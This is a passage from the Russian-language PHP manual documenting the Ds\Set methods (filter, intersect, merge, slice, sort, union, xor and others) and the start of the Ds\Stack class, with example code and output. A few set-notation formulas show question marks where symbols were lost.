$b = new \Ds\Set([3, 4, 5]);

var_dump($a->diff($b));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#3 (2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый список из элементов, выбранных с помощью заданной callback-функции

  • « Ds\Set::diff
  • Ds\Set::first »
  • PHP Manual
  • Ds\Set
  • Создаёт новый список из элементов, выбранных с помощью заданной callback-функции

Ds\Set::filter

(PECL ds >= 1.0.0)

Ds\Set::filter — Создаёт новый список из элементов, выбранных с помощью заданной callback-функции

Описание

public Ds\Set::filter(callable $callback = ?): Ds\Set

Создаёт новый набор из элементов, выбранных с помощью заданной callback-функции.

Список параметров

callback

callback(mixed $value): bool

Опциональный аргумент типа callable, который возвращает true, если значение должно быть включено и false, если нет.

Если callback-функция не задана, то будут включены только элементы, которые приводятся к логическому значению true (смотреть приведение к boolean).

Возвращаемые значения

Новый набор, содержащий значения, для которых функция callback вернула true, либо все элементы, которые при приведении к логическому типу становятся true, если параметр callback не задан.

Примеры

Пример #1 Пример Ds\Set::filter() с использованием callback-функции

<?php
$set = new \Ds\Set([1, 2, 3, 4, 5]);

var_dump($set->filter(function($value) {
return $value % 2 == 0;
}));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Пример #2 Пример Ds\Set::filter() без callback-функции

<?php
$set = new \Ds\Set([0, 1, 'a', true, false]);

var_dump($set->filter());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первый элемент коллекции

  • « Ds\Set::filter
  • Ds\Set::get »
  • PHP Manual
  • Ds\Set
  • Возвращает первый элемент коллекции

Ds\Set::first

(PECL ds >= 1.0.0)

Ds\Set::first — Возвращает первый элемент коллекции

Описание

public Ds\Set::first(): mixed

Возвращает первый элемент коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первый элемент коллекции.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Set::first()

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->first());
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по индексу

  • « Ds\Set::first
  • Ds\Set::intersect »
  • PHP Manual
  • Ds\Set
  • Возвращает значение по индексу

Ds\Set::get

(PECL ds >= 1.0.0)

Ds\Set::get — Возвращает значение по индексу

Описание

public Ds\Set::get(int $index): mixed

Возвращает значение по заданному индексу.

Список параметров

index

Индекс. Первый элемент имеет индекс 0.

Возвращаемые значения

Значение по заданному индексу.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Set::get()

<?php
$set = new \Ds\Set(["a", "b", "c"]);

var_dump($set->get(0));
var_dump($set->get(1));
var_dump($set->get(2));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

Пример #2 Пример использования Ds\Set::get() с синтаксисом массива

<?php
$set = new \Ds\Set(["a", "b", "c"]);

var_dump($set[0]);
var_dump($set[1]);
var_dump($set[2]);
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый набор, созданный пересечением с другим набором

  • « Ds\Set::get
  • Ds\Set::isEmpty »
  • PHP Manual
  • Ds\Set
  • Создаёт новый набор, созданный пересечением с другим набором

Ds\Set::intersect

(PECL ds >= 1.0.0)

Ds\Set::intersect — Создаёт новый набор, созданный пересечением с другим набором

Описание

public Ds\Set::intersect(Ds\Set $set): Ds\Set

Создаёт новый набор, содержащий значения, которые присутствуют в текущем наборе и наборе, переданном параметром set.

A ? B = {x : x ? A ? x ? B}

Список параметров

set

Новый набор типа Set.

Возвращаемые значения

Пересечение текущего набора и переданного в set.

Смотрите также

  • » Пересечение на Википедия

Примеры

Пример #1 Пример использования Ds\Set::intersect()

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->intersect($b));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#3 (1) {
  [0]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли коллекция

  • « Ds\Set::intersect
  • Ds\Set::join »
  • PHP Manual
  • Ds\Set
  • Проверяет, пуста ли коллекция

Ds\Set::isEmpty

(PECL ds >= 1.0.0)

Ds\Set::isEmpty — Проверяет, пуста ли коллекция

Описание

public Ds\Set::isEmpty(): bool

Проверяет, пуста ли коллекция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если коллекция пуста, false в противном случае.

Примеры

Пример #1 Пример использования Ds\Set::isEmpty()

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Склеивает все значения в строку

  • « Ds\Set::isEmpty
  • Ds\Set::jsonSerialize »
  • PHP Manual
  • Ds\Set
  • Склеивает все значения в строку

Ds\Set::join

(PECL ds >= 1.0.0)

Ds\Set::join — Склеивает все значения в строку

Описание

public Ds\Set::join(string $glue = ?): string

Склеивает все значения в строку, опционально используя заданный разделитель.

Список параметров

glue

Необязательный параметр, задающий разделитель между значениями.

Возвращаемые значения

Все значения коллекции, склеенные в одну строку.

Примеры

Пример #1 Пример использования Ds\Set::join() с разделителем

<?php
$set = new \Ds\Set(["a", "b", "c", 1, 2, 3]);

var_dump($set->join("|"));
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "a|b|c|1|2|3"

Пример #2 Пример использования Ds\Set::join() без разделителя

<?php
$set = new \Ds\Set(["a", "b", "c", 1, 2, 3]);

var_dump($set->join());
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коллекцию в JSON-представлении

  • « Ds\Set::join
  • Ds\Set::last »
  • PHP Manual
  • Ds\Set
  • Возвращает коллекцию в JSON-представлении

Ds\Set::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Set::jsonSerialize — Возвращает коллекцию в JSON-представлении

Смотрите JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее значение коллекции

  • « Ds\Set::jsonSerialize
  • Ds\Set::merge »
  • PHP Manual
  • Ds\Set
  • Возвращает последнее значение коллекции

Ds\Set::last

(PECL ds >= 1.0.0)

Ds\Set::last — Возвращает последнее значение коллекции

Описание

public Ds\Set::last(): mixed

Возвращает последнее значение коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний элемент коллекции.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Set::last()

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->last());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат добавления всех заданных значений в набор

  • « Ds\Set::last
  • Ds\Set::reduce »
  • PHP Manual
  • Ds\Set
  • Возвращает результат добавления всех заданных значений в набор

Ds\Set::merge

(PECL ds >= 1.0.3)

Ds\Set::merge — Возвращает результат добавления всех заданных значений в набор

Описание

public Ds\Set::merge(mixed $values): Ds\Set

Возвращает результат добавления всех заданных значений в набор.

Список параметров

values

Объект класса traversable или массив (array).

Возвращаемые значения

Результат добавления всех переданных значений в набор. Фактически делается копия набора, в которую добавляются значения.

Замечание:

Текущий экземпляр набора останется нетронутым.

Примеры

Пример #1 Пример использования Ds\Set::merge()

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->merge([3, 4, 5]));
var_dump($set);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
}
object(Ds\Set)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает коллекцию до одного значения, используя callback-функцию

  • « Ds\Set::merge
  • Ds\Set::remove »
  • PHP Manual
  • Ds\Set
  • Уменьшает коллекцию до одного значения, используя callback-функцию

Ds\Set::reduce

(PECL ds >= 1.0.0)

Ds\Set::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию

Описание

public Ds\Set::reduce(callable $callback, mixed $initial = ?): mixed

Уменьшает коллекцию до одного значения, используя callback-функцию.

Список параметров

callback
callback(mixed $carry, mixed $value): mixed
carry

Значение, возвращённое предыдущим запуском функции или initial, если функция запущена первый раз.

value

Значение текущей итерации.

initial

Начальное значение параметра carry. Можно указать null.

Возвращаемые значения

Значение, возвращённое окончательным запуском callback-функции.

Примеры

Пример #1 Пример использования Ds\Set::reduce() с начальным значением

<?php
$set = new \Ds\Set([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($set->reduce($callback, 5));

// Итерации:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

Результатом выполнения данного примера будет что-то подобное:

int(30)

Пример #2 Пример использования Ds\Set::reduce() без начального значения

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Итерации:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

Результатом выполнения данного примера будет что-то подобное:

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все заданные значения из набора

  • « Ds\Set::reduce
  • Ds\Set::reverse »
  • PHP Manual
  • Ds\Set
  • Удаляет все заданные значения из набора

Ds\Set::remove

(PECL ds >= 1.0.0)

Ds\Set::remove — Удаляет все заданные значения из набора

Описание

public Ds\Set::remove(mixed ...$values): void

Удаляет все заданные значения values из набора. Значения, которые отсутствуют в наборе, будут проигнорированы.

Список параметров

values

Значения для удаления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Set::remove()

<?php
$set = new \Ds\Set([1, 2, 3, 4, 5]);

$set->remove(1); // Удалить 1
$set->remove(1, 2); // Невозможно найти 1, но удалить 2
$set->remove(...[3, 4]); // Удалить 3 и 4

var_dump($set);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#1 (1) {
  [0]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Переворачивает текущую коллекцию

  • « Ds\Set::remove
  • Ds\Set::reversed »
  • PHP Manual
  • Ds\Set
  • Переворачивает текущую коллекцию

Ds\Set::reverse

(PECL ds >= 1.0.0)

Ds\Set::reverse — Переворачивает текущую коллекцию

Описание

public Ds\Set::reverse(): void

Переворачивает текущую коллекцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Set::reverse()

<?php
$set = new \Ds\Set(["a", "b", "c"]);
$set->reverse();

print_r($set);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает перевёрнутую копию коллекции

  • « Ds\Set::reverse
  • Ds\Set::slice »
  • PHP Manual
  • Ds\Set
  • Возвращает перевёрнутую копию коллекции

Ds\Set::reversed

(PECL ds >= 1.0.0)

Ds\Set::reversed — Возвращает перевёрнутую копию коллекции

Описание

public Ds\Set::reversed(): Ds\Set

Возвращает перевёрнутую копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Перевёрнутая копия коллекции.

Замечание:

Текущая коллекция не изменится.

Примеры

Пример #1 Пример использования Ds\Set::reversed()

<?php
$set = new \Ds\Set(["a", "b", "c"]);

print_r($set->reversed());
print_r($set);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Set Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поднабор из заданного диапазона

  • « Ds\Set::reversed
  • Ds\Set::sort »
  • PHP Manual
  • Ds\Set
  • Возвращает поднабор из заданного диапазона

Ds\Set::slice

(PECL ds >= 1.0.0)

Ds\Set::slice — Возвращает поднабор из заданного диапазона

Описание

public Ds\Set::slice(int $index, int $length = ?): Ds\Set

Возвращает поднабор из диапазона, заданного начальным индексом index и длиной length.

Список параметров

index

Индекс, задающий начало диапазона.

Если положительный, то будет отсчитываться от начала коллекции. Если отрицательный, то от конца.

length

Положительное значение определяет, сколько элементов будет взято. Если количество элементов коллекции меньше заданного значения, вернётся столько элементов, сколько есть. Отрицательное значение задаст индекс, отсчитанный от конца коллекции, определяющий конец диапазона. Если длина не задана, то будут возвращены все элементы коллекции от заданного индекса до конца коллекции.

Возвращаемые значения

Под-коллекция из заданного диапазона.

Примеры

Пример #1 Пример использования Ds\Set::slice()

<?php
$set = new \Ds\Set(["a", "b", "c", "d", "e"]);

// Поднабор с индекса 2
print_r($set->slice(2));

// Поднабор с индекса 1 с длиной 3
print_r($set->slice(1, 3));

// Поднабор с индекса 1
print_r($set->slice(1));

// Поднабор с индекса 2 с конца
print_r($set->slice(-2));

// Поднабор от индекса 1 с начала до индекса 1 с конца
print_r($set->slice(1, -1));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Set Object
(
    [0] => d
    [1] => e
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Сортирует коллекцию

  • « Ds\Set::slice
  • Ds\Set::sorted »
  • PHP Manual
  • Ds\Set
  • Сортирует коллекцию

Ds\Set::sort

(PECL ds >= 1.0.0)

Ds\Set::sort — Сортирует коллекцию

Описание

public Ds\Set::sort(callable $comparator = ?): void

Сортирует коллекцию, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Set::sort()

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);
$set->sort();

print_r($set);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Set::sort() с callback-функцией сравнения

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

$set->sort(function($a, $b) {
return $b <=> $a;
});

print_r($set);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает отсортированную по значению копию коллекции

  • « Ds\Set::sort
  • Ds\Set::sum »
  • PHP Manual
  • Ds\Set
  • Возвращает отсортированную по значению копию коллекции

Ds\Set::sorted

(PECL ds >= 1.0.0)

Ds\Set::sorted — Возвращает отсортированную по значению копию коллекции

Описание

public Ds\Set::sorted(callable $comparator = ?): Ds\Set

Возвращает отсортированную копию коллекции, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает отсортированную по значению копию коллекции.

Примеры

Пример #1 Пример использования Ds\Set::sorted()

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

print_r($set->sorted());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Set::sorted() с callback-функцией сравнения

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

$sorted = $set->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Set Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сумму всех значений коллекции

  • « Ds\Set::sorted
  • Ds\Set::toArray »
  • PHP Manual
  • Ds\Set
  • Возвращает сумму всех значений коллекции

Ds\Set::sum

(PECL ds >= 1.0.0)

Ds\Set::sum — Возвращает сумму всех значений коллекции

Описание

public Ds\Set::sum(): int|float

Возвращает сумму всех значений коллекции.

Замечание:

Массивы и объекты считаются за ноль.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сумма всех значений коллекции типов float или int, в зависимости от значений коллекции.

Примеры

Пример #1 Пример использования Ds\Set::sum() с целочисленными значениями

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

int(6)

Пример #2 Пример использования Ds\Set::sum() со значениями типа float

<?php
$set = new \Ds\Set([1, 2.5, 3]);
var_dump($set->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует коллекцию в массив (array)

  • « Ds\Set::sum
  • Ds\Set::union »
  • PHP Manual
  • Ds\Set
  • Преобразует коллекцию в массив (array)

Ds\Set::toArray

(PECL ds >= 1.0.0)

Ds\Set::toArray — Преобразует коллекцию в массив (array)

Описание

public Ds\Set::toArray(): array

Преобразует коллекцию в массив (array).

Замечание:

Приведение к типу array пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы коллекции с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\Set::toArray()

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый набор из элементов текущего и переданного наборов

  • « Ds\Set::toArray
  • Ds\Set::xor »
  • PHP Manual
  • Ds\Set
  • Создаёт новый набор из элементов текущего и переданного наборов

Ds\Set::union

(PECL ds >= 1.0.0)

Ds\Set::union — Создаёт новый набор из элементов текущего и переданного наборов

Описание

public Ds\Set::union(Ds\Set $set): Ds\Set

Создаёт новый набор из элементов текущего и переданного в set наборов.

A ? B = {x: x ? A ? x ? B}

Список параметров

set

Новый набор для объединения с текущим.

Возвращаемые значения

Новый набор, являющийся объединением текущего и переданного в set.

Смотрите также

  • » Объединение в Википедия

Примеры

Пример #1 Пример использования Ds\Set::union()

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->union($b));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#3 (5) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый набор из значений, которые есть в одном из наборов, но не в обоих одновременно

  • « Ds\Set::union
  • Ds\Stack »
  • PHP Manual
  • Ds\Set
  • Создаёт новый набор из значений, которые есть в одном из наборов, но не в обоих одновременно

Ds\Set::xor

(PECL ds >= 1.0.0)

Ds\Set::xor — Создаёт новый набор из значений, которые есть в одном из наборов, но не в обоих одновременно

Описание

public Ds\Set::xor(Ds\Set $set): Ds\Set

Создаёт новый набор из значений, которые есть в текущем наборе, либо в наборе заданном в set, но не в обоих одновременно.

A ? B = {x : x ? (A \ B) ? (B \ A)}

Список параметров

set

Второй набор.

Возвращаемые значения

Новый набор из значений, которые есть в текущем наборе, либо в наборе заданном в set, но не в обоих одновременно.

Смотрите также

  • » Симметрическая разность в Википедия

Примеры

Пример #1 Пример использования Ds\Set::xor()

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->xor($b));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Set)#3 (4) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(4)
  [3]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Stack

(PECL ds >= 1.0.0)

Введение

Стек - это коллекция типа "Последний вошёл, первый вышел" (Last In, First Out или LIFO), которая позволяет работать только с самым верхним (последним) значением. Итерация происходит от конца к началу с удалением взятого элемента.

Внутри себя использует класс Ds\Vector.

Обзор классов

class Ds\Stack implements Ds\Collection, ArrayAccess {
/* Методы */
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public copy(): Ds\Stack
public isEmpty(): bool
public peek(): mixed
public pop(): mixed
public push(mixed ...$values): void
public toArray(): array
}

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Stack::allocate — Выделяет память под указанную вместимость
  • Ds\Stack::capacity — Возвращает текущую вместимость
  • Ds\Stack::clear — Удаляет все значения из коллекции
  • Ds\Stack::__construct — Создаёт новый экземпляр класса
  • Ds\Stack::copy — Возвращает поверхностную копию коллекции
  • Ds\Stack::count — Возвращает количество элементов коллекции
  • Ds\Stack::isEmpty — Проверяет, пуста ли коллекция
  • Ds\Stack::jsonSerialize — Возвращает коллекцию в JSON-представлении
  • Ds\Stack::peek — Возвращает значение с вершины стека
  • Ds\Stack::pop — Удаляет и возвращает значение с вершины стека
  • Ds\Stack::push — Добавляет значения в стек
  • Ds\Stack::toArray — Преобразует коллекцию в массив (array)

User Contributed Notes

There are no user contributed notes for this page.


Выделяет память под указанную вместимость

  • « Ds\Stack
  • Ds\Stack::capacity »
  • PHP Manual
  • Ds\Stack
  • Выделяет память под указанную вместимость

Ds\Stack::allocate

(PECL ds >= 1.0.0)

Ds\Stack::allocate — Выделяет память под указанную вместимость

Описание

public Ds\Stack::allocate(int $capacity): void

Гарантирует, что выделено достаточно памяти под заданную вместимость (количество значений). Позволяет избежать динамического перераспределения памяти при добавлении значений.

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Если новое значение вместимости меньше текущего, то оно не изменится.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Stack::allocate
  • Ds\Stack::clear »
  • PHP Manual
  • Ds\Stack
  • Возвращает текущую вместимость

Ds\Stack::capacity

(PECL ds >= 1.0.0)

Ds\Stack::capacity — Возвращает текущую вместимость

Описание

public Ds\Stack::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения из коллекции

  • « Ds\Stack::capacity
  • Ds\Stack::__construct »
  • PHP Manual
  • Ds\Stack
  • Удаляет все значения из коллекции

Ds\Stack::clear

(PECL ds >= 1.0.0)

Ds\Stack::clear — Удаляет все значения из коллекции

Описание

public Ds\Stack::clear(): void

Удаляет все значения из коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Stack::clear()

<?php
$stack = new \Ds\Stack([1, 2, 3]);
print_r($stack);

$stack->clear();
print_r($stack);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)
Ds\Stack Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр класса

  • « Ds\Stack::clear
  • Ds\Stack::copy »
  • PHP Manual
  • Ds\Stack
  • Создаёт новый экземпляр класса

Ds\Stack::__construct

(PECL ds >= 1.0.0)

Ds\Stack::__construct — Создаёт новый экземпляр класса

Описание

public Ds\Stack::__construct(mixed $values = ?)

Создаёт новый экземпляр класса, используя либо объект реализующий traversable, либо массив, переданные в качестве параметра values.

Список параметров

values

Объект, реализующий интерфейс traversable или массив.

Примеры

Пример #1 Пример использования Ds\Stack::__construct()

<?php
$stack = new \Ds\Stack();
print_r($stack);

$stack = new \Ds\Stack([1, 2, 3]);
print_r($stack);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Stack Object
(
)
Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию коллекции

  • « Ds\Stack::__construct
  • Ds\Stack::count »
  • PHP Manual
  • Ds\Stack
  • Возвращает поверхностную копию коллекции

Ds\Stack::copy

(PECL ds >= 1.0.0)

Ds\Stack::copy — Возвращает поверхностную копию коллекции

Описание

public Ds\Stack::copy(): Ds\Stack

Возвращает поверхностную копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия коллекции.

Примеры

Пример #1 Пример использования Ds\Stack::copy()

<?php
$a = new \Ds\Stack([1, 2, 3]);
$b = $a->copy();

// Изменение копии не отражается на оригинале
$b->push(4);

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)
Ds\Stack Object
(
    [0] => 4
    [1] => 3
    [2] => 2
    [3] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов коллекции

  • « Ds\Stack::copy
  • Ds\Stack::isEmpty »
  • PHP Manual
  • Ds\Stack
  • Возвращает количество элементов коллекции

Ds\Stack::count

(PECL ds >= 1.0.0)

Ds\Stack::count — Возвращает количество элементов коллекции

Смотрите описание функции Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли коллекция

  • « Ds\Stack::count
  • Ds\Stack::jsonSerialize »
  • PHP Manual
  • Ds\Stack
  • Проверяет, пуста ли коллекция

Ds\Stack::isEmpty

(PECL ds >= 1.0.0)

Ds\Stack::isEmpty — Проверяет, пуста ли коллекция

Описание

public Ds\Stack::isEmpty(): bool

Проверяет, пуста ли коллекция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если коллекция пуста, и false в противном случае.

Примеры

Пример #1 Пример использования Ds\Stack::isEmpty()

<?php
$a = new \Ds\Stack([1, 2, 3]);
$b = new \Ds\Stack();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коллекцию в JSON-представлении

  • « Ds\Stack::isEmpty
  • Ds\Stack::peek »
  • PHP Manual
  • Ds\Stack
  • Возвращает коллекцию в JSON-представлении

Ds\Stack::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Stack::jsonSerialize — Возвращает коллекцию в JSON-представлении

Смотри JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение с вершины стека

  • « Ds\Stack::jsonSerialize
  • Ds\Stack::pop »
  • PHP Manual
  • Ds\Stack
  • Возвращает значение с вершины стека

Ds\Stack::peek

(PECL ds >= 1.0.0)

Ds\Stack::peek — Возвращает значение с вершины стека

Описание

public Ds\Stack::peek(): mixed

Возвращает значение с вершины стека, но не удаляет его.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение с вершины стека.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Stack::peek()

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c");

var_dump($stack->peek());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение с вершины стека

  • « Ds\Stack::peek
  • Ds\Stack::push »
  • PHP Manual
  • Ds\Stack
  • Удаляет и возвращает значение с вершины стека

Ds\Stack::pop

(PECL ds >= 1.0.0)

Ds\Stack::pop — Удаляет и возвращает значение с вершины стека

Описание

public Ds\Stack::pop(): mixed

Удаляет и возвращает значение с вершины стека.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Удалённое с вершины стека значение.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Stack::pop()

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c");

var_dump($stack->pop());
var_dump($stack->pop());
var_dump($stack->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "c"
string(1) "b"
string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в стек

  • « Ds\Stack::pop
  • Ds\Stack::toArray »
  • PHP Manual
  • Ds\Stack
  • Добавляет значения в стек

